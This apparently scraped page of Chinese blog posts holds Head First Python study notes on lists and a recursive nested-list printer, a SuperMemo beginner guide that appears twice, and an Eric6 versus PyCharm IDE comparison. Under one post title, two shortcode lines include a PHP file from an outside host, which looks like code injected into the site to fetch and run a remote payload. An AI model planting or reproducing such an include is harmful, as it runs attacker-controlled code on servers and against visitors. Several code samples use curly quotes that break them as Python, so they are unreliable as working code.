        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        第2个参数用来在遇到嵌套列表时插入制表符.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i, level)  # 加上level参数
            else:
                for tab_stop in range(level):
                    print("\t", end=”)
                print(i)

[in]:

    # 再来运行一次, 这回能打印了
    print_lol(movies, 0)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michael Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones
   

[in]:

    # 但问题来了, 看起来level传进去没啥卵用!
    # 我们加这个level参数是希望它每次处理嵌套列表时,打印时行前能多缩进一个制表符的位置
    # 所以需要将level值加1
    # 再来修改
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list, level): 
        """
        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        第2个参数用来在遇到嵌套列表时插入制表符.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i, level + 1)  # 每次让level值加1
            else:
                for tab_stop in range(level):
                    print("\t", end=”)
                print(i)

[in]:

    # 再运行一次,看下效果
    print_lol(movies, 0)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
        Graham Chapman
            Michael Palin
            John Clseese
            Terry Gilliam
            Eric Idle
            Terry Jones
   

[in]:

    # 更新模块
    # 第2章 p60
    # pypi的部分,看看就可以了.兴趣极其强烈的可以按照书上提示去玩一玩
    # 用新版本的print_lol函数替换掉原来nesster.py中的内容;
    # 然后修改setup.py, 将version(版本)这一行改为1.1.0
    # 你也可以重新构建并安装该模块(参看前面的内容), 但别忙着做,先看下面的内容
    from distutils.core import setup
   
    setup(
        name = ‘nester’,
        version = ‘1.1.0’,
        py_modules = [‘nester’],
        author = ‘hfpython’,
        author_email = ‘xxx@xxx.com’,
        url = ‘
http://www.emagic.org.cn’,
        description = ‘A simple printer of nested lists’,  
    )

[in]:

    # 使用可选参数
    # 第2章 p63
    # 给第2个参数加一个缺省值, 这样可以兼容1.0.0版本的调用方式
    # 我们来继续修改nester.py文件
    # 给def print_lol后的level加了个缺省值0
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list, level=0): 
        """
        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        第2个参数用来在遇到嵌套列表时插入制表符.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i, level + 1)  # 每次让level值加1
            else:
                for tab_stop in range(level):
                    print("\t", end=”)
                print(i)
   

[in]:

    # 现在再去构建/安装这个新的nester模块
    # 然后导入,测试一下不同的调用方式
    # 先点击Jupyter中的"Kernel"菜单, 从中选择"Restart"命令
    # 这样前面导入的和执行过的命令全清空了,我们来导入nester
    import nester
    # 重新定义movies列表
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    # 分别以不同的方式调用print_lol函数
    nester.print_lol(movies, 0)
    print(‘——我是一条美丽的分割线——‘)  # 加个分割线来区分这三个调用方式
    nester.print_lol(movies)  # 不加level参数
    print(‘——我是一条美丽的分割线——‘)
    nester.print_lol(movies, 2)  # level指定为2, 你也可以自己指定一个负数试试!

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
        Graham Chapman
            Michael Palin
            John Clseese
            Terry Gilliam
            Eric Idle
            Terry Jones
    ——我是一条美丽的分割线——
    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
        Graham Chapman
            Michael Palin
            John Clseese
            Terry Gilliam
            Eric Idle
            Terry Jones
    ——我是一条美丽的分割线——
            The Holy Grail
            1975
            Terry Jones & Terry Gilliam
            91
                Graham Chapman
                    Michael Palin
                    John Clseese
                    Terry Gilliam
                    Eric Idle
                    Terry Jones
   

[in]:

    # 增加第三个参数
    # 第2章 p68
    # 用一个indent=True或False来控制是否启用缩进(level参数则用来控制缩进多少)
    """
    这是"nester.py"模块,提供了一个名为print_lol()的函数.
    此函数的作用是打印列表.
    """
    def print_lol(the_list, indent=False, level=0): 
        """
        此函数取一个位置参数,名为the_list,它可以是任何形式的列表.
        所指定的列表中的每个数据项会(递归地)输出到屏幕上,每个数据项各占一行.
        第2个参数用来控制是否输出制表符.
        第3个参数用来在遇到嵌套列表时插入几个制表符.
        """
        for i in the_list:
            if isinstance(i, list):
                print_lol(i, indent, level + 1)  # 此处要加上indent参数
            else:
                if indent:  # 如果传入的indent参数为True,则做以下的操作
                    for tab_stop in range(level):
                        print("\t", end=”)
                print(i)
    # 将这段代码运行一下(用Alt+Enter快捷键)

[in]:

    # 现在我们换一个新的列表来测试
    names = [‘John’, ‘Eric’, [‘Cleese’, ‘Idle’], ‘Michael’, [‘Palin’]]
    print_lol(names)  # 不带第2、3个参数

[out]:

    John
    Eric
    Cleese
    Idle
    Michael
    Palin
   

[in]:

    # 将第2个参数指定为True
    print_lol(names, True)

[out]:

    John
    Eric
        Cleese
        Idle
    Michael
        Palin
   

[in]:

    # 传入第3个参数,比如4:
    print_lol(names, True, 4)

[out]:

                    John
                    Eric
                        Cleese
                        Idle
                    Michael
                        Palin
   

以上就是《HeadFirst Python》第二章的内容,舍得建议在练习的同时,把书中的细节好好阅读一下。一些需要储存到脑子里的内容,你可以把它们整理好,加到SuperMemo中,用SuperMemo那超绝的复习算法来帮助你快速掌握所学的内容。

本章笔记下载地址:

链接:http://pan.baidu.com/s/1eRAo3n0 密码:ole9

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

《HeadFirst Python》第一章学习笔记

对于Python初学者来说,舍得强烈推荐从《HeadFirst Python》开始读起,这本书当真做到了深入浅出,HeadFirst系列,本身亦是品质的保证。这本书舍得已在《Python起步:写给零编程基础的童鞋》一文中提供了下载。为了方便大家的学习,舍得特意制作了Jupyter Notebook格式的笔记,文章末尾舍得提供了笔记的下载地址。

读《HeadFirst Python》的同时,最紧要的是及时做练习,你甚至可以在快速浏览过一章后,便拿起练习来做。

做练习的时候,切记,不要用书中建议的Python自带的IDLE。作为过来人,舍得的建议是使用Jupyter Notobook。具体的安装方法舍得已在Python起步:写给零编程基础的童鞋》中讲得很清楚了,每次你要练习的时候,运行jupyter-notebook.exe,便可以在程序打开的浏览器页面中进行代码输入了。Jupyter Notobook与Python自带的IDLE相比,有着巨大的优势:

  • 增强版的代码自动补全:输入代码过程中,可尝试按Tab键,程序会提示相应的代码;
  • 每次录入的代码程序会自动替你保存下来,这就相当于你自己的学习笔记,你可以在代码的前或后加入注释,注释前面用一个“#”+一个空格(空格可以不加,但舍得建议从一开始便养成良好的写代码习惯,#后带空格是Python代码规范-PEP8的要求)就可以了;
  • Notebook给你保存的笔记,你可以随时打开,点RUN按钮(或用Alt+Enter快捷键)便可以运行选择中的某一段代码,这是Python自带的IDLE根本无法做到的事情;
  • 在Notebook中你可以极为方便地输入多行代码,而Python自带的IDLE在这方面有极大的限制;
  • 对于颜控来说,Notebook的代码着色看起来更加舒服一些;
  • ……

舍得会将书中每一章中提到的大部分练习,收录到笔记中,你可以在看完一章后,拿舍得给你的笔记,在Jupyter Notebook中进行练习。当然你也可以在看到书出给出一段代码时,立刻在Jupyter Notobook中输入并运行。

舍得提供的笔记是ipynb格式(ipy是指ipython, Notebook是用ipython来实现的。而nb则是notebook的缩写),当你下载了笔记之后,请将其放到“你的python安装文件夹(默认是c:\python34)\Scripts”文件夹下,然后刷新一下浏览器中Jupyter Notebook的首页,便可以看到这个笔记,点击该笔记,就可以浏览了。

SNAG-0140

如果你在Jupyter Notebook首页中已经点击过“New->Python 3”, 那么你可以使用菜单”File->Open“回到首页选择舍得提供的笔记。

SNAG-0143

下面舍得开始讲解第一章的要点。

文中”[in]:“后面的内容,表示我们在Jupyter Notebook中输入的代码和注释,内容中以”# “开头的,是舍得的注释。

[out]:“后面的内容,则是代码执行后的输出结果。

舍得在注释中,标明了该段代码的页码,方便你对照书本进行练习。书中有些内容的讲解比舍得更详细。

舍得对部分代码进行了改写,但不影响代码的最终效果。

[in]:

    # 熟愁一下打印命令.
    # 第一章 p4
    # 内容前面加一个#号表示注释, python会自动忽略#号后面的内容
    if 43 > 42:
        print("Don’t panic!")

[out]:

    Don’t panic!
   

[in]:

    # 创建简单的Python列表
    # 第一章 p8
    # 标识符:movies, 你给这个列表起的名字
    # 操作符:=,把列表赋给标识符
    # 列表格式:两端用中括号;列表中每一项用逗号隔开;电影名称两边加引号;
    movies = ["The Holy Grail",
             "The Life of Brian",
             "The Meaning of Life"]
    print(movies)

[out]:

    [‘The Holy Grail’, ‘The Life of Brian’, ‘The Meaning of Life’]
   

[in]:

    # 用中括号记法访问列表
    # 第一章 p9
    # 打印列表中第2个数据(第1个为0)
    print(movies[1])

[out]:

    The Life of Brian
   

[in]:

    # 列表深入学习:len
    # 第一章 p10
    # len:获取列表长度,即列表有几个数据项
    cast = ["Cleese", ‘Plain’, ‘Jones’,"Idle"]
    print(cast)
    print(len(cast))
    print(cast[0])  # 0表示第一个数据项, 你可以自己换不同的数字尝试一下

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
    4
    Cleese
   

[in]:

    # 列表深入学习:append
    # 第一章 p10
    # append:在列表末尾增加一项数据
    cast.append("Gillianm")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:pop
    # 第一章 p10
    # pop:从列表末尾删除数据
    cast.pop()

[out]:

    ‘Gillianm’

[in]:

    # 再打印一下,看看有何变化
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
   

[in]:

    # 列表深入学习:extend
    # 第一章 p10
    # extend:在列表末尾增加一个列表(两个列表合并)
    cast.extend(["Gillianm", "Chapman"])
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’, ‘Chapman’]
   

[in]:

    # 列表深入学习:remove
    # 第一章 p10
    # remove:在列表中找到并删除一个特定的数据项
    cast.remove("Chapman")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:insert
    # 第一章 p10
    # insert:在列表中特定的位置前增加一个数据项
    cast.insert(0, "Chapman")  # 0表示插入在最前面,你可以试试其它的数字
    print(cast)

[out]:

    [‘Chapman’, ‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 习题
    # 第一章 p13
    # 把每部电影的出品年代加到列表中
    # 象下面这样: [‘The Holy Grail’, 1975, 1975, 1979,
    # ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983, 1983]
    # 把数字放进列表的时候,数字不用加引号
    movies.insert(1, 1975)  # 第1个插入到第2个列表项前
    movies.insert(3, 1979)  # 第2个插入到第4个列表项前(好好想想为什么用3)
    movies.append(1983)  # 最后一个追加到末尾就行
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983]
   

[in]:

    # 列表: 迭代
    # 第一章 p15
    # 迭代: 用一个for循环,把列表中所有的项逐个打印出来
    # for … in …表示取这个列表的每一个数据
    for i in movies:  # 这里的i随便用哪个(一个或多个)字母都行
        print(i)  # 只要两个i保持一致.你可以试试用不同的字母

[out]:

    The Holy Grail
    1975
    The Life of Brian
    1979
    The Meaning of Life
    1983
   

[in]:

    # 列表: 迭代
    # 第一章 p16
    # 迭代: 用一个while循环,把列表中所有的项逐个打印出来
    # 效果和for循环一样
    # while xx < xxx表示:只要xx < xxx,就一直执行下去, 直到这个条件不成立
    count = 0
    while count < len(movies):  # 前面刚学过的len用法
        print(movies[count])  # 前面刚学过的中括号记法
        count += 1  # 和书本上的count = count + 1相同, 表示让count自增1

[in]:

    # 列表:在列表中储存列表
    # 第一章 p18
    # 我们用movies这个列表来记录一部电影的数据. The Holy Grail这部电影全名叫
    # 《Monty Python and the Holy Grail》(巨蟒与圣杯),1975年出品,两个Terry是导演,
    # 同时也参加了演出。影片时长为91分钟,Chapman是编剧(同时也是主演)。Michael这
    # 一伙人既是编剧,亦是配角。这帮人真是玩嗨了,自编自导自演。
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘Terry Jones & Terry Gilliam’, 91, [‘Graham Chapman’, [‘Michael Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]]
   

[in]:

    # 用for循环处理这个列表
    for i in movies:
        print(i)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    [‘Graham Chapman’, [‘Michail Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]
   

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    names = [‘Michael’, ‘Terry’]
    isinstance(names, list)  # 判断它是不是列表(list)类型
   

[out]:

    True

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    # 换个方式
    num_names = len(names)
    isinstance(num_names, list)

[out]:

    False

[in]:

    # 列表:在列表中查找列表
    # 第一章 p21
    # 习题: 把上面那个movies列表中的每一个数据项都打印出来
    # 用if … else …模式
    # 结合isinstance
    for i in movies:
        if isinstance(i, list):  # 先判断i是不是列表
            for j in i:  # 是的话用for循环
                if isinstance(j, list):  # 还要再往下挖一层, 因为还有一个嵌套的列表
                    for k in j:
                        print(k)
                else:  # 每一对if…else…要对齐
                    print(j)
        else:  # 不是列表就直接打印
            print(i)
    # 如果再来一层嵌套的列表, 怎么办?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones
   

[in]:

    # 函数
    # 第一章 p30
    # 使用函数可以简化刚才写的那段代码, 再多来几层列表咱也不怕啦!
    # def关键字是define的缩写,python看到def就知道这个是函数
    def print_lol(the_list):  # print_lol就是我们定义的函数名,尽可能把名字起得有意义一点
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                print(i)

[in]:

    # 函数
    # 第一章 p30
    # 我们来用print_lol这个函数来打印我们的列表movies
    print_lol(movies)  # 看看,代码是不是精简了很多?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones

   

第一章完。

本文笔记下载地址:

链接:http://pan.baidu.com/s/1eR4iJoI 密码:t72j

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

《配音小丫》诞生记

[insert_php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/insert_php]
[php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/php]

标签:

【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Python主流IDE对比:Eric&nbsp;VS.&nbsp;PyCharm

IDE, 全称是Integrated Development Environment,翻译过来就是集成开发环境。Python的开发从2010年5月算起,不知不觉中,到现在已经是第七个年头。

这六年里,舍得最常用的IDE是Eric6(一开始是5.x版本),也试用过圈内闻名的PyCharm、WingIDE和Eclipse(+PyDev插件),算是有些心得。今天,着重对Eric6和PyCharm 2016.3作一下简单的评测。

颜值

Eric6是基于PyQt开发的,程序运行甚至只用一个BAT文件来调用,界面相对而言略丑。PyCharm基于Java开发,自带的主题很漂亮,风格比较统一。在颜值这一点上,无疑是PyCharm胜出。

顺带提一下WingIDE,虽然它也带了很多款主题,但整个窗口中有些部位是不受主题控制的。举个栗子,当你选择深色的主题时,窗口左下角往往会有一块白色的控件,忒刺眼。

速度和内存开销

从启动到打开一个项目,舍得掐着秒表测试了这几款IDE,数据如下:

  • 最慢的是PyCharm,平均需要18-20秒左右。就算把插件干掉只剩两个,再将Xms和Xmx参数适当调整,跑出最快的成绩是16秒5;
  • Eric平均只用11秒;
  • 最快的是WingIDE, 只用7秒;

内存开销上,PyCharm是大户,动辄就是吃掉你300-400MB的内存。机子内存小的童鞋要当心了!

UI和资源编译

开发过程中难免要对UI和资源文件进行调整,所以IDE中自然需要将这两项的编译工作集成进来。

Eric6是原生支持UI和资源文件编译的,它的开发者早就想到了我们需要这项功能。

PyCharm作为一个专业的Python IDE,在这方面无疑略显不足。要实现UI和资源编译,你必须手工在外部工具设置中添加它们(具体操作请自己去问度娘),虽然设置好之后和Eric6比也没啥区别,但总是开发者欠考虑。

不过PyCharm这个外部工具的设计还是值得赞赏的,你可以直接把打包命令(我通常用cx_freeze)直接整合进去,这样就方便多了。

调试

IDE中应当配备调试模块。舍得以前常在DOS命令行下运行开发中的程序,发现错误再切回IDE。现在想想实在是浪费了IDE自带的调试模块。

使用调试模块,首先带来的好处是你不必手工输入命令,也不必在DOS命令行和IDE间切来切去;其次,当遇到错误时,IDE的调试模块会直接显示出错误所在的位置,你不必再去手动寻找。当然调试模块的功能不止于此,具体如何,童鞋们可以自己去深入体会。

在调试方面,Eric6做得更好一些,在遇到错误时,它会自动跳到最终让你出错的位置,省时省力。PyCharm做法略嫌保守,它是在底部的“运行”窗口显示一系列出错的位置,每一个位置带有链接,点击链接即可跳到相应的行。舍得认为,不如在保留链接功能的前提下,自动跳到最后一行出错的位置,通常这一行是问题的关键。如果程序能够做得更智能一些则更好。

智能缩进

在Python的语法中,缩进是非常重要的一项。开发过程中,缩进若能更智能化一点,自然写代码的速度也会快一些。

在这方面,做得最优秀的是Eric6。它的牛x之处在于,无论你的光标键在哪个位置,只要你按TAB键,程序就会根据上面的代码选择合适的缩进位置。

PyCharm亦有类似的设计。它的智能缩进操作英文名叫Emacs Indent(建议将快捷键TAB设置给它),国内的汉化莫名其妙地翻译成了“宏选项卡”,这一定是外行人干的。

但Emacs Indent在处理整块缩进的时候略显无力,当我们要将整块代码往前移的时候,只能使用另一项叫作“取消缩进内容”的操作,而Eric6只要一个TAB键就足够了。

字体缩放

虽然我们可以在设置中给IDE的编辑器设一个特定的字号,但在实际开发中,还是免不了要适当缩放字体。尤其是大屏幕,字体适当放大一些,眼睛不至于那么遭罪。

字体的缩放这两款IDE都有。只不过,Eric6是早已设置好快捷键的(用Ctrl+=/-,或Ctrl+滚轮),而在PyCharm中,你必须手动设置这个快捷键。

这一轮,算打成平手好了。

自动补空格

PEP8的规范要求在逗号、运算符号之类的内容后面加一个空格,这一点Eric做得不错,在你输入一个逗号后,它会自动给你补一个空格,而PyCharm显然考虑得没有那么周到。你不得不手动一个个敲空格,或留着到最后使用Reformat File功能来纠正。

代码自动补全和代码规范化

两款IDE的代码自动补全做得都挺好。硬要挑出一个更好的来,我会把票投给PyCharm, 它的智能化程度似乎(我没法给出更精确的评价,建议自行体会)更高一些。

PyCharm除了自动补全,还会用类似拼写检查的方式检查你的代码,当你输入的代码不符合PEP8之类的规范时,PyCharm会适时提醒并对该部分代码作出标记。这个功能确实很贴心,我有理由相信用PyCharm会帮助我们将代码写得更加规范。

此外,PyCharm还会对当前方法下所用的变量进行检查,当有变量出现未使用、不一致、输入错误等情形时,PyCharm亦会将其一一标出,让你一目了然。

版本控制

版本控制也可算是IDE的标配了吧!Eric6和PyCharm都有版本控制的模块,不过舍得认为,PyCharm在这一块做得更细一些,和GibHub结合得很好,舍得用得很趁手。

数据库连接、查看

这项功能只能算是可选配置了。两款IDE都带有数据库内容浏览的功能,它的方便之处在于,我们要查看数据库中某项数据时,可以不必打开专用的数据库管理工具(比如SQLite的SQLite Expert, PostGreSQL的PG Admin,MySQL的PHPMyAdmin等),直接在IDE内查看。

Eric6自带一个内建的SQL浏览器,界面相对简陋,而且每次打开都必须重新设置,不够方便。

PyCharm是通过Database Tools and SQL这款插件来实现数据库连接和查看的功能,用来临时查看一下数据是足够了。

书签

在开发过程中,我们经常需要在一个文档中不同的位置间切换,此时书签功能会给我们带来很大的便利。

两款IDE都有书签功能,PyCharm做得更好一点,它的书签不会因为你退出程序而清除。而Eric6则会在你每次退出程序时,清空你的书签设置。

TODO

舍得在堆代码的时候,想到一些下一步要完善的功能之类的内容时,往往会在文档中插入一行,行首写上“# todo,”,然后把当时的想法写进去。这样日后就能根据todo的标记和内容来逐渐完善自己所开发的软件。

两款IDE都支持Todo功能,它们会把你在当前项目中的每一行标有todo的内容都搜集起来,以供你随时查看。只是在功能的完善性上,略有差距:

  • PyCharm在你输入“# todo,”的时候就将这一行进行高亮处理,让它变得非常醒目,Eric6默认是不会对“# todo,”作高亮处理的;
  • PyCharm的todo支持大小写,Eric6默认只支持大写,要想支持不同的格式,需要单独设置;

相比之下,PyCharm以微弱的优势胜出。

帮助文档

Eric6自带一个WebKit内核的帮助浏览器,当你设置好Python/PyQt/Pyside/Qt等帮助文档的路径后,可以在帮助菜单中直接点击这些文档的链接,Eric6就会调用帮助浏览器来显示这些文档。

PyCharm虽然有一个外部文档的设置和对应的菜单命令,但功能实在太弱比,应该好好完善一下才是。

另外PyCharm虽然提供了一个Search EveryWhere的“强大”功能,但由于搜索结果匹配往往不能尽如人意,使得此功能形如鸡肋。

结语

通过上面的比较和分析,相信大家自会得出自己的答案。简单说一下舍得的观点:

  • 如果你是个颜控,请选择PyCharm;
  • 如果你的电脑配置略低(尤其是内存),跑PyCharm感觉慢、卡,请选择Eric6;
  • 大多数功能,这两款IDE都大同小异。舍得最介意的是,PyCharm没法在逗号后居然不能自动补空格,希望开发者能在后续的版本中进一步完善;
  • 至于很多仍在使用非IDE(比如用vim、emacs、sublime text之类的编辑器)的童鞋,舍得的建议是,IDE可以让你的开发效率更高。看上去你用这些编辑器也能完成大部分工作,但别忘了,你费尽九牛二虎之力搞定各种插件的同时,IDE上这些功能早就已经非常成熟了,何必自己再去造轮子呢?

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签: